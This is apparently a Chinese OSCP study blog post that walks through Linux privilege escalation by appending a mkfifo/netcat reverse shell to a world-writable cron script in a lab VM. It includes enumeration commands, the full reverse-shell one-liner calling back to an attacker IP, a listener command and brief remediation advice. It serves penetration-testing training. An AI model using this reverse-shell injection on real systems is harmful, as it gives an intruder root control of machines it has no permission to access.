⓬⁄₇ ⟦ OSCP ⬖ 研记 ⟧ Linux权限提升 ➱ 利用Cron任务配置不当实现提权

**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。

🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬

🌌 立即前往 👉晖度丨安全视界🚀​

​​​​​

▶ 信息收集

▶ 漏洞检测
初始立足点

权限提升 ➢ Linux权限提升 ➢ ++利用Cron任务配置不当++ ++实现提权++ 🔥🔥🔥
横向移动

▶ 报告/分析

▶ 教训/修复

目录

1.Linux权限提升

[1.1 利用不安全的文件权限实现提权](#1.1 利用不安全的文件权限实现提权)

[1.1.1 利用Cron任务配置不当实现提权](#1.1.1 利用Cron任务配置不当实现提权)

[1.1.1.1 什么是Cron任务](#1.1.1.1 什么是Cron任务)

[1.1.1.2 实践:查看运行的cron作业脚本权限](#1.1.1.2 实践:查看运行的cron作业脚本权限)

1.检查cron服务状态

[2.嗅探 cron 日志](#2.嗅探 cron 日志)

3.分析可利用的任务文件

[1.1.1.3 实践:在可写的Cron脚本植入反向 Shell](#1.1.1.3 实践:在可写的Cron脚本植入反向 Shell)

1.追加空行

2.写入反向shell命令

3.什么是命令管道

4.执行结果-实现提权

[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)


1.Linux权限提升

本系列内容围绕以下四大部分展开,本文是第三部分:++利用Cron任务配置不当++ ++实现提权++。

攻击向量 核心概念 典型检查/利用方法 关键风险点
1. 系统枚举 全面侦查,像侦探一样收集一切可能指向弱点的线索。 - 检查系统配置、用户与组、历史命令。 - 枚举运行服务、网络连接、进程。 - 列出安装软件、内核版本、计划任务。 信息收集不全面,导致错过关键漏洞入口。
2. 暴露的机密信息 系统或应用中意外留存的可直接利用的敏感数据。 - 查找配置文件中的硬编码密码。 - 搜索日志文件中的敏感数据或错误信息。 - 检查环境变量中的密钥、令牌或密码。 访问凭证直接泄露,提供最直接的攻击突破口。
3. 不安全的文件权限 文件或目录的权限设置不当,允许低权限用户进行越权操作。 -++全局可写文件/目录:++ 任何用户可修改,用于注入恶意代码或替换文件。 - ++不当所有权:++ 低权限用户拥有关键系统文件,可直接修改。 - ++SUID/SGID滥用:++高权限程序存在漏洞或配置错误,可被利用来获取其权限。 通过文件系统层面的配置错误,绕过权限限制。
4. 利用系统组件 利用操作系统内核、系统服务或第三方应用程序中存在的漏洞。 - 脆弱服务 :攻击以高权限(如root)运行的未更新或配置不当的服务。 - 内核漏洞 :利用操作系统内核本身的漏洞直接提权。 - 软件漏洞:利用第三方应用(如编辑器、数据库)的漏洞执行高权限代码。 利用代码层面的漏洞,实现权限的实质性提升。

1.1 利用不安全的文件权限实现提权

如何利用不安全的文件权限实现提权?

假设现在已经以++++非特权用户的身份++++ 访问Linux目标机器。为了利用不安全的文件权限提权,我们必须找到具有这样特征的可执行文件:

①具备允许写入的访问权限
②可以以提升的特权级别运行****

1.1.1 利用Cron任务配置不当实现提权

本节聚焦于 cron 作业 ------一个常见的利用点(符合以上的两个特征)。因为系统级计划任务通常以 root 权限 运行,而管理员有时会为这些脚本设置++不安全的权限++。

cron 是 Linux 的定时任务调度器,系统级任务 会以 root 身份 执行。如果某个 cron 作业的脚本权限过于宽松(例如任何用户都可写),那么攻击者就可以修改它,等待下次任务执行时获得高权限。

1.1.1.1 什么是Cron任务

cron 是类 Unix 系统中的后台定时任务调度器,它允许用户在预设的时间点或间隔自动执行命令或脚本,广泛用于自动化运维任务(如备份、日志清理、系统更新等)。

🔧 主要组件:

  • cron 守护进程

    持续运行的后台服务,负责读取 crontab 文件并在指定时间执行对应任务。

  • crontab 文件

    每个用户(包括 root)都可以拥有自己的 crontab 文件,其中每一行定义一个定时任务。
    格式如下:

    复制代码
    * * * * * 要执行的命令(/path/to/command)
    ┬ ┬ ┬ ┬ ┬
    │ │ │ │ │
    │ │ │ │ └── 星期 (0-7, 0或7代表周日)
    │ │ │ └──── 月份 (1-12)
    │ │ └────── 日期 (1-31)
    │ └──────── 小时 (0-23)
    └────────── 分钟 (0-59)

    📝 示例:

  • 每天下午 3 点执行备份脚本

    复制代码
    0 15 * * * /usr/local/bin/backup.sh
  • 每周一早上 6 点执行系统更新

    复制代码
    0 6 * * 1 /usr/bin/apt update && /usr/bin/apt upgrade -y

💡 提示: 使用 crontab -e 编辑当前用户的定时任务列表,crontab -l 查看现有任务。系统级任务通常存放在 /etc/crontab/etc/cron.d/ 中,并以 root 权限运行。


1.1.1.2 实践:查看运行的cron作业脚本权限

在本例中,通过SSH登录到VM1,用户名joe、密码offsec,然后开展实践。

1.检查cron服务状态

先检查目标系统上是否安装的cron作业的文件系统,确保定时任务机制可用。

bash 复制代码
$ systemctl status cron
2.嗅探 cron 日志

从系统日志中筛选与 cron 相关的记录,寻找以 root 运行的脚本:

bash 复制代码
$ grep "CRON" /var/log/syslog

🔍 发现一行关键日志:
user_backups.sh 位于 /home/joe/ 下,每分钟 被执行一次,且执行者是 root

3.分析可利用的任务文件

让我们详细分析该任务脚本内容与权限:

内容 :将 /home/joe/ 目录的内容都复制到 /var/backups/joe,脚本内容是打开bash。

权限 :使用 ls -l 查看,发现其他用户可读、可写该文件,如上图。

权限位 所有者 所属组 其他用户
读取
写入
执行

⚠️ 关键:其他用户拥有写入权限 ,意味着 joe 可以修改此脚本(干坏事)。


1.1.1.3 实践:在可写的Cron脚本植入反向 Shell

由于这个任务脚本每分钟以 root 权限运行 ,且 joe 可以任意修改 它,攻击者只需在脚本中插入恶意命令(如添加新的 root 用户、反弹 Shell),等待下一分钟任务执行,即可实现权限提升

1.追加空行
bash 复制代码
$ echo >> user_backups.sh

**追加空行,**这一步是可选的,用于保持脚本格式。

2.写入反向shell命令
bash 复制代码
$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.118.2 1234 >/tmp/f" >> user_backups.sh

⚠️ 此时命令仅被写入文件,尚未执行,等待(一分钟后)cron 触发。

🔍 反向 Shell 命令逐段解析:

命令片段 作用
rm /tmp/f 删除旧的命名管道(如有),确保环境干净
mkfifo /tmp/f 创建命名管道 /tmp/f,用于进程间通信
`cat /tmp/f /bin/sh -i 2>&1`
` nc 192.168.118.2 1234`
>/tmp/f 将从网络接收到的数据写回管道,形成闭环

🔄 数据流闭环示意图

在建立一个新的干净的命令管道(mkfifo /tmp/f)后:

步骤 操作 功能描述
1 cat /tmp/f 不断从命名管道读取数据(这些数据是来自远程主机的命令)
2 /bin/sh -i 2>&1 接收并执行读取的命令,将执行结果(含错误)输出
3 nc 192.168.118.2 1234 将 Shell 的执行结果发送到远程攻击机
4 > /tmp/f 将远程主机的响应(新命令)写回命名管道,供 cat 再次读取,形成闭环
  • 输入:攻击机发送的命令通过 Netcat 进入管道

  • 处理:Shell 执行管道中的命令

  • 输出:执行结果经 Netcat 回传给攻击机

  • 循环:攻击机可连续发送命令,获得持久控制


3.什么是命令管道

这个内容在之前的文章已提及,这里再次重复。

命名管道 (Named Pipe,也称为 FIFO,即 First In First Out)是一种特殊类型的文件 ,用于++进程间通信++ 。它像一个单向的数据通道 ,允许一个进程写入数据,另一个进程读取数据,数据在内核 中流动,不存入磁盘

①与普通管道的区别

类型 特点 使用场景
普通管道(匿名管道) 没有文件名,只能用于有亲缘关系的进程(如父子进程) `ls
命名管道(FIFO) 有文件名 ,存在于文件系统中,任意进程只要知道路径名就可以打开使用 两个不相关的进程通信

②工作原理

  • 通过 mkfifo 命令创建一个命名管道文件(例如 /tmp/myfifo)。

  • 一个进程以写模式 打开该文件,另一个进程以读模式打开。

  • 写入的数据由内核直接传递给读取进程,不经过磁盘,因此效率高。

  • 如果没有读取进程,写入操作会被阻塞(等待);反之,如果没有写入进程,读取操作也会被阻塞。

🌊 形象比喻:一根公共水管

想象一个公共饮水点

  • 命名管道就像一根埋在地下的水管,两端露出地面,一端是进水口,一端是出水口。

  • 任何人都可以拿着自己的水桶来到进水口倒水 (写入),也可以来到出水口接水(读取)。

  • 水(数据)并不会储存在水管里,而是直接从进水口流向出水口。

  • 如果没人接水,倒水的人就会被堵住(阻塞);如果没人倒水,接水的人也只能干等。

③在反向 Shell 中的角色

在之前的攻击场景中:

bash 复制代码
mkfifo /tmp/f                # 创建命名管道
cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.118.2 1234 > /tmp/f

这里 /tmp/f 就是那根"水管":

  1. cat /tmp/f 负责从水管里取水(读取来自网络或 Shell 的数据)。

  2. /bin/sh -i 处理这些数据(执行命令),并将结果和水一起倒回水管(通过管道传递给 nc)。

  3. nc 把水(命令执行结果)送到远程攻击机,同时从远程接回新的命令水,再倒回水管(> /tmp/f)。

这样,数据就在命名管道中循环流动,实现了远程交互式 Shell 。即,这条命令实现了一个双向数据流交互。


4.执行结果-实现提权

当 cron 下一次执行该脚本时,将:

  • 创建命名管道

  • 连接回攻击机(IP 192.168.118.2,端口 1234)

  • 攻击者即可获得 root 权限的交互式 Shell,完全控制目标系统。

以下是查看任务执行后,写入的脚本任务文件(user_backups.sh)的内容:

接下来,只需在我们的Kali机器上设置一个监听器,等待cron作业执行。并获取RootShell:

  • 设置 Netcat 监听

    在攻击机 Kali 上执行监听,等待目标反向连接。

    bash 复制代码
    nc -lvnp 1234
  • Cron 作业触发

    目标机的 user_backups.sh 脚本被每分钟执行的 cron 任务以 root 权限运行,其中注入的反向 Shell 命令生效。

  • 成功提权

    Kali 上的监听器接收到连接,获得目标系统的 root 权限交互式 Shell,攻击完成。

⚠️ 现实警示:此类安全问题并不罕见------管理员常因急于部署系统而忽略脚本权限设置,导致可写脚本配合高权限运行的 cron 作业成为提权突破口。

管理员应确保 cron 作业的脚本文件权限严格**(如 700 或 750)**,并定期审计计划任务及其脚本的安全性。


欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论

每一份支持,都是我持续输出的光。

相关推荐
Pure_White_Sword17 小时前
bugku-reverse题目-NoString
网络安全·ctf·reverse·逆向工程
枷锁—sha20 小时前
【CTFshow-pwn系列】03_栈溢出【pwn 051】详解:C++字符串替换引发的血案与 Ret2Text
开发语言·网络·c++·笔记·安全·网络安全
林姜泽樾1 天前
linux基础第一章,linux的介绍和它和windows的区别
linux·运维·计算机网络·安全·网络安全
Mikowoo0071 天前
Kali系统_安装靶机
网络安全
苏天夏1 天前
让 Typecho 拥抱 WebAuthn 无密码时代
安全·网络安全·php·开源软件
小红卒1 天前
Redis数据库四种getshell方法研究
数据库·redis·网络安全
Rhystt1 天前
furryCTF 题解|Web方向|保姆级详解|固若金汤、DeepSleep
git·python·安全·web安全·网络安全
一名优秀的码农1 天前
symfonos系列-symfonos6v2(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
枷锁—sha1 天前
【pwn系列】Pwndbg 汇编调试实操教程
网络·汇编·笔记·安全·网络安全